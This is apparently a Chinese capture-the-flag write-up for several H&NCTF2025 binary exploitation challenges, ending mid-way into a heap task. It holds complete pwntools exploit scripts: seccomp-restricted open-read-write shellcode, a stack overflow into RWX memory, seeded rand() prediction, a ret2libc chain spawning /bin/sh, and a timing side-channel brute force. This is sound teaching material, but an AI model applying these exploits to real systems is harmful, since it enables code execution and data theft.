三步走战略

准备


64位,什么保护都没开

分析

main函数

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall main(int a1, char **a2, char **a3)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
sub_4012F3();
sub_4013E8();
sub_401414();
return 0LL;
}

给了三个函数,主要是下面两个

sub_4012F3函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 sub_4012F3()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 9LL, 0LL);
seccomp_load(v1);
return seccomp_release(v1);
}

这题涉及到沙箱

sub_4013E8函数

1
2
3
4
5
6
int sub_4013E8()
{
puts("Welcome to the world of \"H&NCTF\"!");
printf("I think you need to prepare your acceptance speech in advance. ");
return getchar();
}

第一个输入点,读取输入的第一个字符(包括空格、换行符等),并将其作为函数返回值
(如果输入多个字符,getchar() 仅读取第一个字符,剩余字符会留在输入缓冲区中,可能影响后续输入函数的行为)

sub_401414函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ssize_t sub_401414()
{
_BYTE buf_1[56]; // [rsp+0h] [rbp-40h] BYREF
void *buf; // [rsp+38h] [rbp-8h]

buf = mmap((void *)0x1337000, 0x1000uLL, 7, 34, -1, 0LL);
if ( buf == (void *)-1LL )
{
perror("mmap");
exit(1);
}
fflush(stdout);
printf("Please speak:");
read(0, buf, 0x100uLL);
printf("Do you have anything else to say?");
return read(0, buf_1, 0x100uLL);
}

先是用mmap映射了一段可读可写可执行空间,给了参数buf
第一个输入点是往buf中写入,第二个输入点往buf_1中写入,造成溢出

思路

这题有溢出,有可以直接写入的可用空间,可以往空间中写入shellcode,获得连接,但这里有沙箱限制

限制了用orw,先给手写orw的思路,在是生成的orw方法
(服了,因为生成的orw比赛的时候没出,复现的时候又可以了,更新一下wp)
1.open(‘/flag’, 0)
两个参数,用rax存放系统调用号(open是2),rdirsi 存放第一个和第二个参数

1
2
3
4
5
6
/* open('/flag', 0) */
mov rax, 2 ////设置系统调用号
lea rdi, [rip + filename] //rdi寄存器保存/flag字符串的地址
使用rip相对寻址来计算字符串地址
xor rsi, rsi //寄存器rsi清零(0表示只读)
syscall
  • 系统调用完成后,rax 寄存器存储 open 函数的返回值:
    • 成功时返回文件描述符(非负整数);
    • 失败时返回 -1。
      2.read(fd, addr, 0x100)
      三个参数,用rax存放系统调用号(read是0),rdirsirdx 存放第一个,第二个和第三个参数
1
2
3
4
5
6
/* read(fd, addr, 0x100) */
mov rdi, rax //将上一步的文件描述符(FD)存入 rdi
mov rsi, 0x1337200 //设置地址为mmap映射地址的起始地址
mov rdx, 0x100 //读取大小
xor rax, rax //设置系统调用号(覆盖之前的返回值)
syscall

3.write(1, addr, 0x100)
三个参数,用rax存放系统调用号(read是0),rdirsirdx 存放第一个,第二个和第三个参数

1
2
3
4
5
6
/* write(1, addr, 0x100) */
mov rax, 1 //设置系统调用号
mov rdi, 1 //设置文件描述符(1是标准输出)
mov rsi, 0x1337200 //设置地址为mmap映射地址的起始地址
mov rdx, 0x100 //读取大小
syscall

最后设置文件

1
2
filename:
.asciz "/flag" //定义以 NULL 结尾的字符串 "/flag"

作用:

  1. 在内存中创建一个名为 filename 的标签(Label),它代表字符串的起始地址
  2. 将字符串 "/flag" 的字符(’f’, ‘l’, ‘a’, ‘g’)依次存入内存
  3. 自动在字符串末尾添加一个 NULL 终止符(0)
    (拥有终止符的原因:
    在大多数系统编程环境中,字符串是以 NULL(值为 0 的字节)结尾的字符数组。
    这是一种约定,用于标识字符串的结束位置。
    如果不添加 NULL 终止符,函数会继续读取内存中的后续字节,直到遇到一个偶然的 0 值,会出现问题。)
    (这里filename位置不能变,具体我也是懵懵懂懂就不再讲述,汇编不太会写,所以当时写的时候有查询,没想到最后通了)
    总的汇编是这样子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sc = asm('''
/* open('/flag', 0) */
mov rax, 2
lea rdi, [rip + filename]
xor rsi, rsi
syscall

/* read(fd, addr, 0x100) */
mov rdi, rax
mov rsi, 0x1337200
mov rdx, 0x100
xor rax, rax
syscall

/* write(1, addr, 0x100) */
mov rax, 1
mov rdi, 1
mov rsi, 0x1337200
mov rdx, 0x100
syscall

filename:
.asciz "/flag"
''')

通过第二个输入点把这个写入buf中,然后再第三个输入点处有一个溢出,这里我们通过溢出,把返回地址定为mmap映射地址的起始地址,也就是buf那里,就能触发我们往buf里写入的orw,读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
motaly@motaly-VMware-Virtual-Platform:~$ gdb vuln
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 177 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from vuln...

This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in vuln)
------- tip of the day (disable with set show-tips off) -------
GDB's follow-fork-mode parameter can be used to set whether to trace parent or child after fork() calls. Pwndbg sets it to child by default
pwndbg> cycli 500
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
pwndbg> r
Starting program: /home/motaly/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to the world of "H&NCTF"!
I think you need to prepare your acceptance speech in advance.
Please speak:aaaa
Do you have anything else to say?aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa

Program received signal SIGSEGV, Segmentation fault.
0x00000000004014c5 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────
RAX 0x100
RBX 0x7fffffffd808 —▸ 0x7fffffffdbef ◂— '/home/motaly/vuln'
RCX 0x7ffff7d1ba61 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x100
RDI 0
RSI 0x7fffffffd690 ◂— 0x6161616161616161 ('aaaaaaaa')
R8 0x21
R9 0
R10 0x7ffff7c109d8 ◂— 0x11001200001bd3
R11 0x246
R12 1
R13 0
R14 0x403e08 —▸ 0x401280 ◂— endbr64
R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
RBP 0x6161616161616169 ('iaaaaaaa')
RSP 0x7fffffffd6d8 ◂— 0x616161616161616a ('jaaaaaaa')
RIP 0x4014c5 ◂— ret
─────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────
► 0x4014c5 ret <0x616161616161616a>










───────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd6d8 ◂— 0x616161616161616a ('jaaaaaaa')
01:0008│ 0x7fffffffd6e0 ◂— 0x616161616161616b ('kaaaaaaa')
02:0010│ 0x7fffffffd6e8 ◂— 0x616161616161616c ('laaaaaaa')
03:0018│ 0x7fffffffd6f0 ◂— 0x616161616161616d ('maaaaaaa')
04:0020│ 0x7fffffffd6f8 ◂— 0x616161616161616e ('naaaaaaa')
05:0028│ 0x7fffffffd700 ◂— 0x616161616161616f ('oaaaaaaa')
06:0030│ 0x7fffffffd708 ◂— 0x6161616161616170 ('paaaaaaa')
07:0038│ 0x7fffffffd710 ◂— 0x6161616161616171 ('qaaaaaaa')
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
► 0 0x4014c5 None
1 0x616161616161616a None
2 0x616161616161616b None
3 0x616161616161616c None
4 0x616161616161616d None
5 0x616161616161616e None
6 0x616161616161616f None
7 0x6161616161616170 None
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> haaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
Undefined command: "haaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa". Try "help".
pwndbg> cyclic -l 0x616161616161616a
Finding cyclic pattern of 8 bytes: b'jaaaaaaa' (hex: 0x6a61616161616161)
Found at offset 72

得到偏移量为72
第一个输入点,通过空行绕过

1
2
3
4
5
6
7
addr = 0x1337000
io.recvuntil(b'I think you need to prepare your acceptance speech in advance.')
io.sendline(b'')
io.recvuntil(b'Please speak:')
io.sendline(sc)
payload = b'a'*72 + p64(addr)
io.sendlineafter(b'Do you have anything else to say?', payload)

生成的用到shellcraft函数(这个会方便和简单很多)

1
2
3
4
sc=shellcraft.open("/flag")
sc+=shellcraft.read(3, 0x1337000, 0x100)
sc+=shellcraft.write(1, 0x1337000, 0x100)
orw=asm(sc)

其余的更上面一致

脚本

1.手写orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = remote('27.25.151.198', 38228)
# io = process('/home/motaly/vuln')

sc = asm('''
/* open('/flag', 0) */
mov rax, 2
lea rdi, [rip + filename]
xor rsi, rsi
syscall

/* read(fd, addr, 0x100) */
mov rdi, rax
mov rsi, 0x1337200
mov rdx, 0x100
xor rax, rax
syscall

/* write(1, addr, 0x100) */
mov rax, 1
mov rdi, 1
mov rsi, 0x1337200
mov rdx, 0x100
syscall

filename:
.asciz "/flag"
''')

addr = 0x1337000
io.recvuntil(b'I think you need to prepare your acceptance speech in advance.')
io.sendline(b'')
io.recvuntil(b'Please speak:')
io.sendline(sc)
payload = b'a'*72 + p64(addr)
io.sendlineafter(b'Do you have anything else to say?', payload)
io.interactive()

2.生成orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.arch='amd64'

io=remote('27.25.151.198',40661)
# io = process('/home/motaly/vuln')

sc=shellcraft.open("/flag")
sc+=shellcraft.read(3, 0x1337000, 0x100)
sc+=shellcraft.write(1, 0x1337000, 0x100)
orw=asm(sc)

io.recvuntil(b'I think you need to prepare your acceptance speech in advance.')
io.sendline(b'')
io.recvuntil(b'Please speak:')
io.sendline(orw)
io.recvuntil(b'Do you have anything else to say?')
payload=b'a'*(0x40+8)+p64(0x1337000)
io.sendline(payload)

io.interactive()

pdd助力

随机数绕过和ret2libc
(这个是作者自己的写法,连接的时候会看运气,连不起来报错的时候,需要多试几次,当卡一个值的时候,就是在运行,这里等一下,如果是其他问题就自己调一下)

准备


64位,就开了一个NX保护

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-18h] BYREF
int v5; // [rsp+Ch] [rbp-14h]
unsigned int n8; // [rsp+10h] [rbp-10h]
unsigned int seed; // [rsp+14h] [rbp-Ch]
int j; // [rsp+18h] [rbp-8h]
int i; // [rsp+1Ch] [rbp-4h]

init(argc, argv, envp);
seed = time(0LL);
n8 = 8;
srand(seed);
v5 = rand();
srand(v5 % 5 - 44174237);
puts(&s_);
puts(&s__0);
puts("game1 begin\n");
for ( i = 1; i <= 55; ++i )
{
puts("good!");
__isoc99_scanf("%d", &v4);
if ( rand() % 4 + 1 != v4 )
{
puts("Your flag has been stolen by a mouse.");
return 0;
}
}
puts(
"Congratulations! Since you have participated in the CTF competitions multiple times, the difficulty level has now dr"
"opped directly to the easiest.\n");
puts("You have outperformed over 99.99% of the contestants.\n");
puts("Your friend 'Genshin Impact Start' has obtained the flag through assistance. You'll be the next one.\n");
puts("You only need one more boost to get the flag.\n");
puts("game2 begin\n");
srand(n8);
for ( j = 1; j <= 55; ++j )
{
puts("good!");
__isoc99_scanf("%d", &v4);
if ( rand() % 4 + 8 != v4 )
{
puts("Your flag has been stolen by a mouse.\n");
return 0;
}
}
puts("You've collected the last piece of the puzzle. Now you just need to invite one more new user to get the flag.\n");
func();
return 0;
}

这里主要是两层限制
1.第一层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
seed = time(0LL);                     //获取当前时间作为初始种子
srand(seed); //初始化随机数生成器
v5 = rand(); //生成第一个随机数
srand(v5 % 5 - 44174237); //计算新的种子值
for ( i = 1; i <= 55; ++i ) //进行55次循环
{
puts("good!");
__isoc99_scanf("%d", &v4); //输入点
if ( rand() % 4 + 1 != v4 ) //输入与随机生成的进行匹配
{
puts("Your flag has been stolen by a mouse.");
return 0;
}
}

这里需要我们55次输入都与它随机生成的相等,设置随机数生成器的有用当前时间,然后是v5 % 5 - 44174237,最后随机数是rand() % 4 + 1
2.第二层

1
2
3
4
5
6
7
8
9
10
11
12
n8 = 8;
srand(n8);
for ( j = 1; j <= 55; ++j )
{
puts("good!");
__isoc99_scanf("%d", &v4);
if ( rand() % 4 + 8 != v4 )
{
puts("Your flag has been stolen by a mouse.\n");
return 0;
}
}

同样的我们55次输入都与它随机生成的相等,设置随机数生成器为8,最后随机数是rand() % 4 + 8
最后进入func函数

func函数

1
2
3
4
5
6
7
ssize_t func()
{
_BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF

puts("Congratulations young man.");
return read(0, buf, 0x100uLL);
}

存在溢出

思路

这题溢出前有两个限制,没有连接点,所以可以绕过限制后,用ret2libc来打
这里用 Python 的 ctypes 模块调用 C 标准库(libc)中的随机数生成函数,开头先要进行设置

1
2
3
4
5
6
7
8
9
10
11
import ctypes
import time
from pwn import *

# p = remote('27.25.151.198', 41819)
p = process('/home/motaly/pwn2')
elf=ELF('/home/motaly/pwn2')

libc = ctypes.CDLL("libc.so.6") //加载 C 标准库
libc.srand.argtypes = [ctypes.c_uint] //设置srand函数的参数类型
libc.rand.restype = ctypes.c_int //设置rand函数的返回值类型

第一层限制
先自定义一个函数作用是根据题目设置相应的随机数生成器,并生成一个数组,存储按题目要求生成的随机数

1
2
3
4
5
6
7
def get_first_55(guess):
libc.srand(guess)
v5 = libc.rand()
new_seed = v5 % 5 - 44174237
libc.srand(new_seed)
list = [(libc.rand() % 4 + 1) for _ in range(55)] //生成的随机数数组
return list

考虑延迟等各种因素,这里不能直接使用当前时间,给一个时间范围,都尝试一下

1
2
3
4
5
6
7
8
9
10
11
12
time = int(time.time())

for seed in range(time + 10, time - 5, -1):
try:
first_55 = get_first_55(seed)
log.info(f"Trying seed: {seed}")
for i in range(55):
p.recvuntil(b"good!\n")
p.sendline(str(first_55[i]).encode())
break
except Exception as e:
continue

第二层限制
类似上面,根据题目设置相应的随机数生成器,并生成一个数组,存储按题目要求生成的随机数
,最后通过循环输入

1
2
3
4
5
libc.srand(8)
second_55 = [(libc.rand() % 4 + 8) for _ in range(55)]
for i in range(55):
p.recvuntil(b"good!\n")
p.sendline(str(second_55[i]).encode())

绕过了限制,就能到达溢出点的位置
直接通过ida查看偏移

偏移量是0x30+8
64位程序需要寄存器,有时还要堆栈平衡

选用puts函数,直接开打ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
puts_got=elf.got['puts']
read_got=elf.got['read']
puts_plt=elf.plt['puts']
func=0x40121F
rdi=0x401483
ret=0x40101a

payload=b'a'*(0x30+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(func)
p.sendlineafter(b'Congratulations young man.',payload)

p.recv()
# puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
puts_addr=u64(p.recv(6)[-6:].ljust(8, b'\x00'))
print("puts_addr-->"+hex(puts_addr))

libc=ELF('/home/motaly/libc.so.6')
libc_base=puts_addr-libc.sym['puts']
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b'/bin/sh'))

payload=b'a'*(0x30+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter(b'Congratulations young man.',payload)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import ctypes
import time
from pwn import *

# p = remote('27.25.151.198', 41819)
p = process('/home/motaly/pwn2')
elf=ELF('/home/motaly/pwn2')

libc = ctypes.CDLL("libc.so.6")
libc.srand.argtypes = [ctypes.c_uint]
libc.rand.restype = ctypes.c_int

def get_first_55(guess):
libc.srand(guess)
v5 = libc.rand()
new_seed = v5 % 5 - 44174237
libc.srand(new_seed)
list = [(libc.rand() % 4 + 1) for _ in range(55)]
return list

time = int(time.time())

for seed in range(time + 10, time - 5, -1):
try:
first_55 = get_first_55(seed)
log.info(f"Trying seed: {seed}")
for i in range(55):
p.recvuntil(b"good!\n")
p.sendline(str(first_55[i]).encode())
break
except Exception as e:
continue

libc.srand(8)
second_55 = [(libc.rand() % 4 + 8) for _ in range(55)]
for i in range(55):
p.recvuntil(b"good!\n")
p.sendline(str(second_55[i]).encode())

puts_got=elf.got['puts']
read_got=elf.got['read']
puts_plt=elf.plt['puts']
func=0x40121F
rdi=0x401483
ret=0x40101a

payload=b'a'*(0x30+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(func)
p.sendlineafter(b'Congratulations young man.',payload)

p.recv()
# puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
puts_addr=u64(p.recv(6)[-6:].ljust(8, b'\x00'))
print("puts_addr-->"+hex(puts_addr))

libc=ELF('/home/motaly/libc.so.6')
libc_base=puts_addr-libc.sym['puts']
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b'/bin/sh'))

payload=b'a'*(0x30+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter(b'Congratulations young man.',payload)

p.interactive()

shellcode[复现]

准备

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+0h] [rbp-10h]

buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( buf == (void *)-1LL )
{
perror("mmap failed");
exit(1);
}
puts("Welcome to H&NCTF2025");
printf("Enter your command: ");
fflush(_bss_start);
if ( read(0, buf, 0x1000uLL) <= 0 )
{
perror("read failed");
exit(1);
}
setup_sandbox();
((void (*)(void))buf)();
return 0;
}

mmap映射了一段可读可写可执行的空间给buf参数
下面有直接的输入,写入到buf中
有setup_sandbox函数,题目涉及道沙箱

思路

有直接的输入点,但是涉及到沙箱
输入点随便给一个值,查看沙箱限制

这里把write禁用了,从大佬那学了两种方法,解决这题

方法1–侧信道爆破

(初次学习侧信道爆破,用了一个大佬的脚本,不过爆的不是很稳定,会不准确和慢,这里主要是学习和收集侧信道爆破的知识点和脚本)
侧信道爆破的知识点文章
大佬的原始wp
主要分两段
第一段是打开 “flag” 文件,读取内容,然后比较特定位置的字符是否小于等于给定值
第二段是通过不断调整比较值,确定 flag 中每个字符的 ASCII 码值(这里通过二分查找实现)
重点是第一段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def find(i, c):
global io
io=remote('27.25.151.198',41155)
sc=asm("""
movabs rax, 0x67616C66 //加载"flag"字符串
push 0 //压入字符串结束符
push rax //压入'flag'
push rsp //保存当前栈顶地址
pop rdi //设置rdi为'flag.txt'的地址(open的第一个参数)
xor rsi, rsi //设置rsi=0(0表示O_RDONLY为只读模式)
xor rdx, rdx //设置rdx=0(文件权限)
mov rax, 2 //设置系统调用2(open)
syscall //执行系统调用,打开"flag.txt"文件 #open("flag.txt",0,0)

mov rsi, rdi //设置缓冲区地址为"flag.txt"的地址(read的第2 个参数)
mov rdi, rax //将文件描述符(rax)存入rdi(read的第1个参数)
xor rax, rax //设置系统调用0(read)
mov rdx, 0x100 //设置读取长度(read的第3个参数)
syscall //执行系统调用 #read(文件描述符, rsi, 0x100);
mov al, [rsp+{}] //从读取内容中获得第i个字符
cmp al, {} //比较该字符与猜测值c
jbe $ //如果a1 <= c,则无限循环
""".format(i, c)) //Python 字符串格式化方法,用于将变量`i`和`c`的 值插入到汇编代码中
io.sendafter(b"command:", sc)

这里的 global io
允许函数内部访问和修改全局作用域中的io变量
在 Python 中,函数内部默认只能访问全局变量,但不能直接修改它们。如果没有 global io 声明,find 函数内部对 io 的赋值会创建一个新的局部变量,而不是修改全局变量
第二段
二分查找方法确定flag值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
i = 0                         //用于记录当前正在猜测的flag字符位置(索引)
flag = ''
while True:
l = 0x20 //搜索范围下界,对应ASCII码的空格字符(32)
r = 0x80 //搜索范围上界,对应ASCII码的128(超出可打印字符范围)
while l <= r:
m = (l + r) // 2 //算当前搜索范围的中间值,作为本次猜测的ASCII码
if find(i, m): //调用find函数检查第i个字符是否小于等于m
r = m - 1 //如果第i个字符小于等于m,缩小上界,继续在左半部分搜索
else:
l = m + 1 //如果第i个字符大于m,增大下界,继续在右半部分搜索
if l==0: //当l变为0时,表示没有找到有效字符,可能flag已获取完毕
break //跳出外层循环,结束整个flag获取过程
flag += chr(l)
info("win!!!!!!!!!!!!!!!!!!!!!!!!! ")
info(flag)
i += 1

方法2–orw

大佬原始的wp
这题虽然把write禁用了,但可以用和write功能差不多的writev,然后用orw


知识点

write writev
功能 向文件描述符写入连续的一块数据 向文件描述符写入多个不连续的缓冲区数据
头文件 #include <unistd.h> #include <sys/uio.h>
#include <unistd.h>
函数原型 ssize_t write(int fd, const void *buf, size_t count); ssize_t writev(int fd, const struct iovec *iov, int iovcnt);
参数 fd:文件描述符
buf:数据缓冲区地址
count:写入字节数
fd:文件描述符
ioviovec结构体数组指针
 iovcnt:数组元素个数
返回值 成功返回实际写入字节数,失败返回 - 1 成功返回实际写入字节数,失败返回 - 1
系统调用 rax = 1(系统调用号)
rdi = fd(文件描述符)
rsi = buf(缓冲区地址)
rdx = count(字节数)
rax = 20(系统调用号)
rdi = fd(文件描述符)
rsi = iov(iovec 数组地址)
rdx = iovcnt(数组元素个数)
iovec结构体在内存中的布局:
1
2
3
4
struct iovec {
void *iov_base; // 缓冲区地址(8字节)
size_t iov_len; // 缓冲区长度(8字节)
};

主要的是orw手写汇编(下面是我根据大佬的脚本进行的微改版本):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
payload = asm('''
/* open('/flag', 0) */
mov rax, 2 //设置系统调用号2(open)
lea rdi, [rip + filename] //使用rip相对寻址获取"filename"标签地址(即 "/flag")
xor rsi, rsi //rsi清零(0表示只读)
syscall

/* read(fd, addr, 0x100) */
mov rdi, rax //将上一步的文件描述符(FD)存入 rdi
xor rax, rax //设置系统调用号0(read)
sub rsp, 0x100 //在栈上分配0x100字节空间
mov rsi, rsp //设置缓冲区地址(栈顶)
mov rdx, 0x100 //设置读取字节数
syscall

/* writev (1, iov, 1) */
mov rdi, 1 //设置文件描述符(1为标准输出)
mov rbx,rsp //设置缓冲区地址
sub rsp, 16 //栈指针下移16字节(作为iovec结构体预留空间)
push 0x100 //设置iov_len
push rbx //设置iov_base,这里rsp指向iov_base
mov rsi, rsp //rsi指向iovec结构体
mov rdx, 1 //iovcnt=1
mov rax, 20 //设置系统调用号
syscall

filename:
.asciz "/flag"
''')

详细可看三步走战略的orw思路,这里不同的就是用了writev

脚本

方法1–侧信道爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context.arch='amd64'

io=0
def find(i, c):
global io
io=remote('27.25.151.198',48409)
sc=asm("""
movabs rax, 0x67616C66
push 0
push rax
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall

mov rsi, rdi
mov rdi, rax
xor rax, rax
mov rdx, 0x100
syscall
mov al, [rsp+{}]
cmp al, {}
jbe $
""".format(i, c))

io.sendafter(b"command:", sc)
io.recv()
try:
io.recv(timeout=3)
io.close()
return True
except EOFError:
io.close()
return False

i = 0
flag = ''
while True:
l = 0x20
r = 0x80
while l <= r:
m = (l + r) // 2
if find(i, m):
r = m - 1
else:
l = m + 1

if l==0:
break
flag += chr(l)
info("win!!!!!!!!!!!!!!!!!!!!!!!!! ")
info(flag)
i += 1

info("flag: "+flag)

方法2–orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(arch='amd64',os='linux')
#io=process('./pwn')
#gdb.attach(io)
io=remote('27.25.151.198',43985)
payload = asm('''
mov rax, 2
lea rdi, [rip + filename]
xor rsi, rsi
syscall

mov rdi, rax
xor rax, rax
sub rsp, 0x100
mov rsi, rsp
mov rdx, 0x100
syscall

mov rdi, 1
mov rbx,rsp
sub rsp, 16
push 0x100
push rbx
mov rsi, rsp
mov rdx, 1
mov rax, 20
syscall

filename:
.asciz "/flag"
''')
io.recvuntil(b'Enter your command: ')
io.sendline(payload)
io.interactive()

梦中情pwn[复现]

感悟:做pwn题还是要有耐心

准备


64位堆题,没给libc文件,查询的时候发现也没给是多少版本
去ida的字符串表中查看

是2.34,所以这题对应的应该是libc2.35版本

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int __fastcall main(int argc, const char **argv, const char **envp)
{
int n2; // [rsp+Ch] [rbp-14h] BYREF
unsigned int v5; // [rsp+10h] [rbp-10h]
unsigned int v6; // [rsp+14h] [rbp-Ch]
void *v7; // [rsp+18h] [rbp-8h]

